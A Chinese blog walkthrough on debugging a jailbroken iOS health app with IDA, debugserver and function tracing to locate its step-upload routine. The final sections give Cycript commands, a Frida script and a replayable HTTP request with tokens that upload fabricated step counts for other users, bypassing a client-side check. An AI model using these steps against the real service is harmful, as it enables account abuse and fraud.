ida通过usb调试ios下的app

on under 二进制
10 minute read

0x0 必读

0x1 About

实验环境

  • iphone6s
  • ios9.0
  • macOS sierra
  • ida7.0

why

  • 对于ida来说,lldb不怎么样(lldb用户体验很一般)
  • wifi调试很慢,ida通过wifi调试不现实
  • ios9以上的这个vmmap不工作

准备

用上面这个链接中的源文件通过xcrun -sdk iphoneos clang -arch armv7 -o [目标文件名] [源文件名]生成iphone下可执行文件vmmap,编译后文件可在这里下载

  • usbmuxd

brew install usbmuxd

目的

使用ida调试一个ios下的app,找到关键上传步数的函数

0x2 Detail

ida调试ios app有两种方法

  • 方法一:ida设置使用remote gdb debug server
    • 可通过wifi或usb调试,使用usb更快
    • 通过附加(attach)到已经运行的ios app来调试
    • 调试前需人工rebase program
  • 方法二:ida设置使用remote ios debug server
    • 通过usb调试
    • 通过加载(app未运行时)未运行的ios app来调试
    • 调试前不用人工rebase program,ida会自动修改加载基址(要保证用方法二调试前ios app是关闭的,如果用方法二调试前,ios app已经是正在运行的,这种情况下ida不会自动rebase program,这种情况需要手动rebase program.最好每次调试前检查下ida有没有自行修改好加载基址)

方法一

手机上运行目标app:PALxxx
ssh root@iphone
Cluth -i
Cluth -d target_app_index
scp xxx.ipa user@macOS
ps aux | grep PAL*
vmmap target_app_pid
    2771: /private/var/mobile/Containers/Bundle/Application/08C3D11A-82ED-42AA-A975-089E825B7E29/PALxxx.app/PALxxx
    DYLD all image info: 0000000120034000+130 format=1
    read_from_task(0x16fd3bc78, 0x401): kr=1
    00000001000c4000-00000001000c8000 [    16K ] r-x/r-x SM=COW
        (offset 3190000) /private/var/mobile/Containers/Bundle/Application/08C3D11A-82ED-42AA-A975-089E825B7E29/PALxxx.app/PALxxx

    由此得出PALxxx此次加载基址为0x1000c4000

macOS
ida加载ipa中的可执行文件PALxxx
    ida需要分析一段时间,大概10分钟(不分析完时很多函数无法找到),如果想尝试加速分析过程,可参考:https://reverseengineering.stackexchange.com/questions/12485/ida-slow-on-70mb-executable,也即将所有窗口关闭,只保留output窗口
在ida|edit|segments|program rebase中重新设置加载基址为0x1000c8000
    rebase需要一段时间,大概10分钟,如果考虑等的时间太长可尝试去除app的aslr属性,然后重新安装到手机上再调试,去除aslr属性未尝试
iphone连接电脑上的usb
    如果因为连接了usb导致下面无法用gdb server调试(有时连接上usb后ida只会有使用remote ios debuger的选项)则需要先拔掉usb,等选择完设置gdb server调试后再连接上usb
iproxy 2222 2008

ssh root@iphone
debugserver *:2008 -a PALxxx

ida设置远程gdb server(对应ios中的debugserver)调试,参数如下图

远程gdb server设置

远程gdb server设置

开始在ida中调试
在setIntegratedSteps函数上下断点
运行
命中断点后设置trace functions
在手机上点击上传步数

方法二

iphone连上macOS的usb
ida加载PALxxx
在ida中选择remote ios debugger,并设置好symbols和iphone中的app可执行文件的路径
    symbols可在~/ Library / Developer / Xcode / iOS DeviceSupport / <iOS version> / Symbols或通过ios_deploy获得
    app可执行文件路径可在iphone中通过find / -name "PALxxx"获得
开始在ida中调试
ssh root@iphone_ip
ps aux | grep PAL*
vmmap target_app_pid
找到加载基址后在ida|edit|segments|program rebase中检查下是否要重定位,这里一般是不要重定位的
在setIntegratedSteps函数上下断点
运行
命中断点后设置trace functions
在手机上点击上传步数

注意 1.使用方法二时最好在debugger|debugger options中的如下窗口中的launch debuger automaticly选项钩上(默认是钩上的)

launch debuger automaticly

钩上后在debugger|process options中只需要填写远程待调试的可执行文件的在远程设备上的物理路径,如下图:

process options

如果不钩上launch debuger automaticly选项,有时候ida会在上图中要求填入远程debug server的ip地址和端口

2.使用方法二时,有时候ida会提示无法找到远程手机上的指定路径的可执行文件,在ida的output窗口也会显示debugserver服务出错,这种情况可通过下面2步解决

  • 在macOS中打开xcode(保证手机通过usb连接macOS)
  • 如果上一步没解决则查看iphone上是否正在运行待调试的app,如果是,则关闭这个app
  • 检测是否开了虚拟机,如果开了检测是否手机已经连接到了虚拟机上,如果连接到虚拟机了则要在虚拟机中设置断开iphone的连接

3.在方法一或方法二中提到使用trace functions来尝试记录出关键上传函数,在ida(7.0)中远程调试ios app时发现有时设置trace后会导致ios app卡住而无法继续运行,原来以为是有哪些线程卡住了,后来发现不是,原因是trace导致ios app在手机中卡住,这里在ida中暂关闭trace即可让ios app继续正常运行,这应该是ida的bug.

分析

上面2种方法trace到关键函数如下:

000611FC	__text:-[PARSPedometerInfo setIntegratedSteps:]+C	RET	-[PARSPedometerInfo setIntegratedSteps:] returned to -[PARSPedometerInfo setIntegratedSteps:]-[PARSHealthKitHandler parseStepCountStatistics:]+33C
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+340	BL              _objc_release	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_release
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+348	BL              _objc_release	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_release
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+358	BL              _objc_msgSend	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_msgSend
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+360	BL              _objc_retainAutoreleasedReturnValue	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_retainAutoreleasedReturnValue
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+378	BL              _objc_msgSend	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_msgSend
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+380	BL              _objc_release	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_release
000611FC	__text:-[PARSHealthKitHandler parseStepCountStatistics:]+388	BL              _objc_release	-[PARSHealthKitHandler parseStepCountStatistics:] call -[PARSHealthKitHandler parseStepCountStatistics:]_objc_release

尝试用funcap插件获得parseStepCountStatistics函数的参数及返回值,发现funcap不支持arm的64位的cpu,ios设备cpu类型在这里于是用theos来记录,发现theos没有成功记录到parseStepCountStatistics函数的运行函数及返回值,说明关键函数不是这个函数,也即ida没有成功记录到关键的上传步数的函数,目前不理解为什么ida的trace功能为什么没有记录到这个关键函数.现在只好通过flex_injected来通过UI来分析出关键函数

flex_injected查看关键上传按钮对应的UI类,如下图依次找到对应按钮的类(PARSHealthPedometer10thHomeViewController)与点击按钮对应的函数(walkUploadBtnClick)

上传按钮

按钮对应类

按钮对应函数

从ida中查看walkUploadBtnClick函数的具体实现,内容如下:

void __cdecl -[PARSHealthPedmoterHomeViewController walkUploadBtnClick:](PARSHealthPedmoterHomeViewController *self, SEL a2, id a3)
{
  PARSHealthPedmoterHomeViewController *v3; // x28
  PARSActivityDetailModel *v4; // x0
  void *v5; // x0
  void *v6; // x19
  void *v7; // x0
  __int64 v8; // x20
  void *v9; // x0
  __int64 v10; // x21
  void *v11; // x0
  __int64 v12; // x25
  struct objc_object *v13; // x0
  void *v14; // x0
  void *v15; // x19
  void *v16; // x0
  void *v17; // x0
  void *v18; // x26
  void *v19; // x0
  __int64 v20; // x21
  struct objc_object *v21; // x0
  void *v22; // x26
  PARSActivityDetailModel *v23; // x0
  void *v24; // x0
  void *v25; // x27
  void *v26; // x0
  __int64 v27; // x0
  __int64 v28; // x23
  void *v29; // x0
  __int64 v30; // x0
  __int64 v31; // x19
  void *v32; // x0
  void *v33; // x22
  struct objc_object *v34; // x0
  void *v35; // x0
  void *v36; // x19
  void *v37; // x0
  void *v38; // x23
  void *v39; // x0
  void *v40; // x24
  void *v41; // x0
  void *v42; // x25
  struct objc_object *v43; // x0
  void *v44; // x19
  int v45; // w28
  int v46; // w27
  unsigned int v47; // w0
  PARSHealthPedmoterHomeViewController *v48; // [xsp+18h] [xbp-58h]

  v3 = self;
  +[PARSDataAnalyticTrackTouch cacheCurrentPoint](&OBJC_CLASS___PARSDataAnalyticTrackTouch, "cacheCurrentPoint", a3);
  v4 = -[PARSHealthPedmoterHomeViewController activity](v3, "activity");
  v5 = (void *)objc_retainAutoreleasedReturnValue(v4);
  v6 = v5;
  v7 = objc_msgSend(v5, "activityId");
  v8 = objc_retainAutoreleasedReturnValue(v7);
  objc_release(v6);
  v9 = objc_msgSend(&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("49902-%@"), v8);
  v10 = objc_retainAutoreleasedReturnValue(v9);
  v11 = objc_msgSend(&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("4990201-%@"), v8);
  v12 = objc_retainAutoreleasedReturnValue(v11);
  +[PADataAnalytic trackEvent:label:](&OBJC_CLASS___PADataAnalytic, "trackEvent:label:", v10, v12);
  objc_release(v12);
  objc_release(v10);
  v13 = +[PARSUserManager sharedManager](&OBJC_CLASS___PARSUserManager, "sharedManager");
  v14 = (void *)objc_retainAutoreleasedReturnValue(v13);
  v15 = v14;
  v16 = objc_msgSend(v14, "currUserInfo");
  v17 = (void *)objc_retainAutoreleasedReturnValue(v16);
  v18 = v17;
  v19 = objc_msgSend(v17, "userId");
  v20 = objc_retainAutoreleasedReturnValue(v19);
  objc_release(v18);
  objc_release(v15);
  v21 = +[PARSUserDefaults sharedDefaultsOfUser:](&OBJC_CLASS___PARSUserDefaults, "sharedDefaultsOfUser:", v20);
  v22 = (void *)objc_retainAutoreleasedReturnValue(v21);
  v48 = v3;
  v23 = -[PARSHealthPedmoterHomeViewController activity](v3, "activity");
  v24 = (void *)objc_retainAutoreleasedReturnValue(v23);
  v25 = v24;
  v26 = objc_msgSend(v24, "activityId");
  v27 = objc_retainAutoreleasedReturnValue(v26);
  v28 = v27;
  v29 = objc_msgSend(&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("%@%@%@"), CFSTR("selectValue"), v20, v27);
  v30 = objc_retainAutoreleasedReturnValue(v29);
  v31 = v30;
  v32 = objc_msgSend(v22, "objectForKey:", v30);
  v33 = (void *)objc_retainAutoreleasedReturnValue(v32);
  objc_release(v31);
  objc_release(v28);
  objc_release(v25);
  objc_release(v22);
  v34 = +[PARSHealthCircleWalkingManager sharedManager](&OBJC_CLASS___PARSHealthCircleWalkingManager, "sharedManager");
  v35 = (void *)objc_retainAutoreleasedReturnValue(v34);
  v36 = v35;
  v37 = objc_msgSend(v35, "resultDict");
  v38 = (void *)objc_retainAutoreleasedReturnValue(v37);
  objc_release(v36);
  v39 = objc_msgSend(v38, "objectForKeyedSubscript:", CFSTR("raiseFlag"));
  v40 = (void *)objc_retainAutoreleasedReturnValue(v39);
  v41 = objc_msgSend(v38, "objectForKeyedSubscript:", CFSTR("baseDonateStep"));
  v42 = (void *)objc_retainAutoreleasedReturnValue(v41);
  v43 = +[PARSConfDefaults shareDefaults](&OBJC_CLASS___PARSConfDefaults, "shareDefaults");
  v44 = (void *)objc_retainAutoreleasedReturnValue(v43);
  v45 = (unsigned __int64)objc_msgSend(v44, "showDonateBook");
  objc_release(v44);
  v46 = (unsigned __int64)objc_msgSend(v40, "isEqualToString:", CFSTR("Y"));
  if ( !(unsigned int)objc_msgSend(v38, "isNotEmpty")
    || (v46 | (objc_msgSend(v42, "length") == 0LL)) & 1
    || (v45 ^ 1) & 1
    || objc_msgSend(v33, "length") )
  {
    v47 = (unsigned __int64)objc_msgSend(v33, "isEqualToString:", CFSTR("1"));
    -[PARSHealthPedmoterHomeViewController requestUploadWithSure:](v48, "requestUploadWithSure:", v46 | v47);
  }
  else
  {
    -[PARSHealthPedmoterHomeViewController showFirstDonatabookAlert](v48, "showFirstDonatabookAlert");
  }
  objc_release(v42);
  objc_release(v40);
  objc_release(v38);
  objc_release(v33);
  objc_release(v20);
  objc_release(v8);
}

发现关键函数是-[PARSHealthPedmoterHomeViewController requestUploadWithSure:](v48, "requestUploadWithSure:", v46 | v47);这里的requestUploadWithSure函数,在ida中查看如下:

void __cdecl -[PARSHealthPedometer10thHomeViewController requestUploadWithSure:](PARSHealthPedometer10thHomeViewController *self, SEL a2, bool a3)
{
  bool v3; // w19
  PARSHealthPedometer10thHomeViewController *v4; // x20
  PARSHWPedometerUploadView *v5; // x0
  void *v6; // x0
  void *v7; // x21
  void *v8; // x0
  void *v9; // x24
  char v10; // w25
  PARSActivityDetailModel *v11; // x0
  void *v12; // x0
  void *v13; // x24
  void *v14; // x0
  __int64 v15; // ST08_8
  struct objc_object *v16; // x0
  void *v17; // x0
  void *v18; // x24
  void *v19; // x0
  void *v20; // x0
  void *v21; // x27
  void *v22; // x0
  __int64 v23; // x0
  __int64 v24; // x21
  struct objc_object *v25; // x0
  void *v26; // x28
  PARSActivityDetailModel *v27; // x0
  void *v28; // x0
  void *v29; // x25
  void *v30; // x0
  __int64 v31; // x26
  PARSHWPedometerUploadView *v32; // x0
  void *v33; // x0
  void *v34; // x23
  void *v35; // x0
  void *v36; // x24
  struct objc_object *v37; // x0
  __int64 v38; // x1
  void *v39; // x24
  __int64 v40; // x1
  __int64 v41; // x1
  __int64 v42; // x20
  void **v43; // [xsp+10h] [xbp-D0h]
  __int64 v44; // [xsp+18h] [xbp-C8h]
  __int64 (__fastcall *v45)(); // [xsp+20h] [xbp-C0h]
  void *v46; // [xsp+28h] [xbp-B8h]
  __int64 v47; // [xsp+30h] [xbp-B0h]
  __int64 v48; // [xsp+38h] [xbp-A8h]
  __int64 v49; // [xsp+40h] [xbp-A0h]
  bool v50; // [xsp+48h] [xbp-98h]
  void **v51; // [xsp+50h] [xbp-90h]
  __int64 v52; // [xsp+58h] [xbp-88h]
  __int64 (__fastcall *v53)(); // [xsp+60h] [xbp-80h]
  void *v54; // [xsp+68h] [xbp-78h]
  __int64 v55; // [xsp+70h] [xbp-70h]
  char v56; // [xsp+78h] [xbp-68h]

  v3 = a3;
  v4 = self;
  v5 = -[PARSHealthPedometer10thHomeViewController uploadView](self, "uploadView");
  v6 = (void *)objc_retainAutoreleasedReturnValue(v5);
  v7 = v6;
  v8 = objc_msgSend(v6, "walkUploadBtn");
  v9 = (void *)objc_retainAutoreleasedReturnValue(v8);
  v10 = (unsigned __int64)objc_msgSend(v9, "isCircleLoadingAnimating");
  objc_release(v9);
  objc_release(v7);
  if ( !(v10 & 1) )
  {
    v11 = -[PARSHealthPedometer10thHomeViewController activity](v4, "activity");
    v12 = (void *)objc_retainAutoreleasedReturnValue(v11);
    v13 = v12;
    v14 = objc_msgSend(v12, "activityId");
    v15 = objc_retainAutoreleasedReturnValue(v14);
    objc_release(v13);
    v16 = +[PARSUserManager sharedManager](&OBJC_CLASS___PARSUserManager, "sharedManager");
    v17 = (void *)objc_retainAutoreleasedReturnValue(v16);
    v18 = v17;
    v19 = objc_msgSend(v17, "currUserInfo");
    v20 = (void *)objc_retainAutoreleasedReturnValue(v19);
    v21 = v20;
    v22 = objc_msgSend(v20, "userId");
    v23 = objc_retainAutoreleasedReturnValue(v22);
    v24 = v23;
    v25 = +[PARSUserDefaults sharedDefaultsOfUser:](&OBJC_CLASS___PARSUserDefaults, "sharedDefaultsOfUser:", v23);
    v26 = (void *)objc_retainAutoreleasedReturnValue(v25);
    v27 = -[PARSHealthPedometer10thHomeViewController activity](v4, "activity");
    v28 = (void *)objc_retainAutoreleasedReturnValue(v27);
    v29 = v28;
    v30 = objc_msgSend(v28, "activityId");
    v31 = objc_retainAutoreleasedReturnValue(v30);
    objc_msgSend(v26, "setObject:forKey:", v31, CFSTR("localActivityId"));
    objc_release(v31);
    objc_release(v29);
    objc_release(v26);
    objc_release(v24);
    objc_release(v21);
    objc_release(v18);
    objc_initWeak(&v56, v4);
    v32 = -[PARSHealthPedometer10thHomeViewController uploadView](v4, "uploadView");
    v33 = (void *)objc_retainAutoreleasedReturnValue(v32);
    v34 = v33;
    v35 = objc_msgSend(v33, "walkUploadBtn");
    v36 = (void *)objc_retainAutoreleasedReturnValue(v35);
    v51 = _NSConcreteStackBlock;
    v52 = 3254779904LL;
    v53 = sub_100BC9B58;
    v54 = &unk_10311DDE8;
    objc_copyWeak(&v55, &v56);
    objc_msgSend(v36, "startCircleLoadingAnimateWithClockwise:completion:", 0LL, &v51);
    objc_release(v36);
    objc_release(v34);
    v37 = +[PARSPedometerService sharedService](&OBJC_CLASS___PARSPedometerService, "sharedService");
    v39 = (void *)objc_retain(v37, v38);
    v43 = _NSConcreteStackBlock;
    v44 = 3254779904LL;
    v45 = sub_100BC9EDC;
    v46 = &unk_10311DF08;
    v47 = objc_retain(v4, v40);
    objc_copyWeak(&v49, &v56);
    v42 = objc_retain(v15, v41);
    v48 = v42;
    v50 = v3;
    objc_msgSend(v39, "healthWalkUploadTodayPedometer:", &v43);
    objc_release(v39);
    objc_release(v48);
    objc_destroyWeak(&v49);
    objc_release(v47);
    objc_destroyWeak(&v55);
    objc_destroyWeak(&v56);
    objc_release(v42);
  }
}

从这里看出这个函数的参数是传入0或1,也可发现这个函数的进一步调用的函数是healthWalkUploadTodayPedometer,但由于healthWalkUploadTodayPedometer函数的参数是一个内存地址,需要动态设置,而requestUploadWithSure函数的参数传入”1”即可,用requestUploadWithSure函数更方法用cycript测试,于是直接在cycript中测试requestUploadWithSure(1),验证是否是关键函数,操作如下:

ssh root@iphone_ip
cycript -p PALxxx
choose(PARSEPedometerInfo)
    cy# choose(PARSPedometerInfo)
    [#"PARSPedometerInfo<0x12f22cd60>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000",#"PARSPedometerInfo<0x12f406c90>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000"]
    也即找到两个PARSPedometerInfo类的对象,随便用其中一个即可
[#0x12f22cd60 setIntegratedSteps:66666]
    这里设置上传步数为66666,但是还没有上传

    **注意:这里的setIntegratedSteps函数是-号开头的函数,如果是+号开头的函数则用法为[className funcName:66666],如下面的函数是+号开头的(加号的意思就是其他函数可以直接调用这个类中的这个函数,而不用创建这个类的实例),用法如下:
    cy# [PARSCryptDataUtils encryptWithServerTimestamp:"18013790233"]
        结果为:
        @"VF8ITErCt6L7HE0aG8/dBKFIokGahl57ulg6zGfpsMFHahc88SlPqW+ZHp5H9dKht3LSDsxR0asc/gy5phkqUMWCGhYNXsxDz1MVDxGfPW0B5tnOMiFEV5XnuKAw2SkpqafI5d86zrgDKR4JeD8FUtK6Cmv1eB3DvofPOJVj7js="

tmp=[PARSHealthPedometer10thHomeViewController alloc]
    生成关键上传函数requestUploadWithSure所在类的一个对象
[tmp requestUploadWithSure:1]
    执行上传步数函数,参数为1

执行完上面的函数后在app中成功弹窗,提示上传成功,说明这个函数是关键上传函数,尝试用这个函数给其他用户上传步数,操作如下

app用其他用户的帐号登录
ssh root@iphone_ip
cycript -p PALxxx
choose(PARSEPedometerInfo)
    cy# choose(PARSPedometerInfo)
    [#"PARSPedometerInfo<0x14893bad0>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000"]
[#0x14893bad0 setIntegratedSteps:66666]
    这里设置上传步数为66666,但是还没有上传
tmp1=[PARSHealthPedometer10thHomeViewController alloc]
    生成关键上传函数requestUploadWithSure所在类的一个对象
[tmp1 requestUploadWithSure:1]
    执行上传步数函数,参数为1
    或者将上传的动作合成1步[[PARSHealthPedometer10thHomeViewController alloc] setIntegratedSteps:66666]

上面是使用cycript给其他用户上传步数,也可通过frida如下实现(执行代码前需要用其他用户的帐号登陆本机app)

import frida
import sys

session = frida.get_usb_device().attach(1535)
script_string = """

if (ObjC.available)
{
    try
    {
        var my_obj1=ObjC.chooseSync(ObjC.classes.PARSPedometerInfo)[0]
        var my_obj2=ObjC.classes.PARSHealthPedometer10thHomeViewController.alloc()
        my_obj1["- setIntegratedSteps:"](66666)
        my_obj2["- requestUploadWithSure:"](1)
    }
    catch(err)
    {
        console.log("[!] Exception2: " + err.message);
    }
}
else
{
    console.log("Objective-C Runtime is not available!");
}
"""


script = session.create_script(script_string)


def on_message(message, data):
    if message['type'] == 'error':
        print("[!] " + message['stack'])
    elif message['type'] == 'send':
        print("[i] " + message['payload'])
    else:
        print(message)


script.on('message', on_message)
script.load()
sys.stdin.read()

通过函数给其他用户上传步数时也上传成功了,而在app中给其他用户上传时会弹出无法给其他用户上传的对话框,说明这个对话框对应的校验只是客户端校验,直接调用上传函数可绕过.另外,也可通过直接发burpsuite拦截到的上传包来实现给其他用户上传步数,需要修改burpsuite上传包中的securitytoken和mobilephone参数,其中cookie可随便填写或不填(说明上传步数时未校验登录态),一个可用包如下:

POST /elis_smp_eco_dmz/ecology/elis.eco.web.healthPedomeSTQ.visit HTTP/1.1
Host: elis-smp-eco.xxx.xxx.cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: 111
Connection: close
Accept: */*
User-Agent: PALxxx/4.9.0 (iPhone; iOS 8.1.1; Scale/2.00)
Accept-Language: zh-Hans;q=1
Content-Length: 1663
X-Tingyun-Id: s8-utloiNb8;c=2;r=2140640508

appId=10001&appVersion=4.8.9&bundleIdentifier=com.pingan.pars&chS=PKXwVPYlgXk06HHPubC3akmiPpMgR6KsaQ%2Bt4M2jJjUc/s2OgG7aQTgPykBKi0EvAjCdb0t20uoASkeT97M21wbV56lWmnIvlrExdB2Jhfe7OXMJ0M77Whx0fAO8%2BOKi9NNTftTzTVijKT/kObVQUfqH1GQCob7KtrUN8nJxn/8%3D&channelType=01&cv=490&deviceId=h902704274530537c4335a514f5821f5a&deviceToken=98b769eac2c74c882f68f0754a73c0a7698e4f8ba9222e5c20454de3f220c517&jsonFlag=Y&mobilePhone=ybN4u%2BkrjDmVoc/Bbu4YF0su9H9yMUsd0fcp9TKX/hDH2UfvQNuYeqtF4pGxlYi5z/S3dHl1zrzlYTTXjdgAaesXvk1v0A4Eh0Y/yyngiIAAq/jC4s1zIxOrchddIIr7p3XJ1pzFyxtKZBvdvtiNHZMZStM86lg8oytIOyIWUn0%3D&osType=01&osVersion=8.1.1&pedometerList=%5B%0A%20%20%7B%0A%20%20%20%20%22iWatch%22%20%3A%20%220%22%2C%0A%20%20%20%20%22iPhone%22%20%3A%20%220%22%2C%0A%20%20%20%20%22pedometerNum%22%20%3A%20%2218785%22%2C%0A%20%20%20%20%22BMP%22%20%3A%20%220%22%2C%0A%20%20%20%20%22pedometerDate%22%20%3A%20%222017-12-27%22%0A%20%20%7D%2C%0A%20%20%7B%0A%20%20%20%20%22iWatch%22%20%3A%20%220%22%2C%0A%20%20%20%20%22iPhone%22%20%3A%20%220%22%2C%0A%20%20%20%20%22pedometerNum%22%20%3A%20%2218785%22%2C%0A%20%20%20%20%22BMP%22%20%3A%20%220%22%2C%0A%20%20%20%20%22pedometerDate%22%20%3A%20%222017-11-06%22%0A%20%20%7D%0A%5D&raiseFlag=Y&securityToken=bfeUcy8KJ7WHcldHioMh0K%2Bg7JX%2BpRN%2BxhMrSvphjgqtwJwzeo2NunKswzCs4%2B9uPcLwR27WVlfVQ9b%2BWOd6/qeGtyWgUPVGUrNPq9QJY85kE8Y%2Ba6xbJsQSPrY0IiLDAkQe4bylB5DfvTmBLaaF/Q%3D%3D&timeset=YXCZD7hNQ9JLA363HFt5Ip5v%2BhbUlBNqvJCz496nlYe8rt2Ykad9AKQPr1aP6YnXdIYxidOamBlTUqLBShKL9JZowpkmd6Rd1PQAFoDhrEAR8feIPSy/laVJOJ/HaOEZtCvzG2nkssSW3YervLbSd81pKiKWcxLA4wsLHPp%2Bm7g%3D&token=2a2d999d889bdb302dd0c6087afe269b797f4fabf298404009545f8f19723fd4&uid=836832654629371904

0x3 后记

刚开始的操作尝试给其他用户上传步数时遇到一些问题,发现app没有生成PARSPedometerInfo对象(后来发现只要点击进入到上传步数页面后就会生成PARSPedometerInfo对象),详情及对应解决方法如下

成功时的PARSPedometerInfo对象:
    cy# choose(PARSPedometerInfo)
    [#"PARSPedometerInfo<0x12f22cd60>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000",#"PARSPedometerInfo<0x12f406c90>: \n integration=1541 \n iPhone=1541 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000"]

失败时的PARSPedometerInfo对象:
    由于app没有生成PARSPedometerInfo对象,需要手动生成
    tmp=[PARSPedometerInfo alloc]
        #"PARSPedometerInfo<0x14893bad0>: \n integration=0 \n iPhone=0 \n watch=0 \n heartRat=0\n at:(null)"

发现失败时手动生成的PARSPedometerInfo类的对象的”时间值”为(null),有可能就是这个部分为null导致上传失败,尝试通过手动设置一个时间到手动生成的PARSPedometerInfo类的对象中,在ida中查看有没有设置时间的函数,发现PARSPedometerInfo包括如下函数:

-[PARSPedometerInfo init]	__text	000000010069C7AC	00000080	00000030	FFFFFFFFFFFFFFF8	R	.	.	.	B	T	.
-[PARSPedometerInfo description]	__text	000000010069C82C	000000CC	00000070	FFFFFFFFFFFFFFF8	R	.	.	.	B	T	.
-[PARSPedometerInfo iPhoneSteps]	__text	000000010069C8F8	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setIPhoneSteps:]	__text	000000010069C908	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo iWatchSteps]	__text	000000010069C918	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setIWatchSteps:]	__text	000000010069C928	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo otherDeviceSteps]	__text	000000010069C938	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setOtherDeviceSteps:]	__text	000000010069C948	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo integratedSteps]	__text	000000010069C958	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setIntegratedSteps:]	__text	000000010069C968	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo heartRate]	__text	000000010069C978	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setHeartRate:]	__text	000000010069C988	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo startDate]	__text	000000010069C998	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setStartDate:]	__text	000000010069C9A8	00000014			R	.	.	.	.	T	.
-[PARSPedometerInfo endDate]	__text	000000010069C9BC	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setEndDate:]	__text	000000010069C9CC	00000014			R	.	.	.	.	T	.
-[PARSPedometerInfo syncDate]	__text	000000010069C9E0	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setSyncDate:]	__text	000000010069C9F0	00000014			R	.	.	.	.	T	.
-[PARSPedometerInfo stepFrequency]	__text	000000010069CA04	00000010			R	.	.	.	.	T	.
-[PARSPedometerInfo setStepFrequency:]	__text	000000010069CA14	00000010			R	.	.	.	.	T	.

猜测setStartDate函数是设置时间的函数,而startDate函数是获取setStartDate函数设置时间后的时间的函数,于是操作如下:

用第1个成功上传步数的帐户登录app
ssh root@iphone_ip
cycript -p PALxxx
choose(PARSPedometerInfo)
   [#"PARSPedometerInfo<0x146fe33e0>: \n integration=2937 \n iPhone=2937 \n watch=0 \n heartRat=0\n at:2017-12-26 16:00:00 +0000"]
cy# [#0x146fe33e0 startDate]
    #"2017-12-26 16:00:00 +0000"
    得到一个正确格式的时间值
退出app
用第2个上传步数失败的帐户登录app
cycript -p PALxxx
...

然后再尝试上传其他帐户的步数,操作如下:

到这里发现用第2个帐户上传时其实是会生成PARSPedometerInfo对象的,于是没有再进行后续操作,通过burpsuite发包内容可以推测,上传步数时的时间值的确不能少,接下来的操作理应会成功
ida, ipa, usbmuxd
home
github
archive
category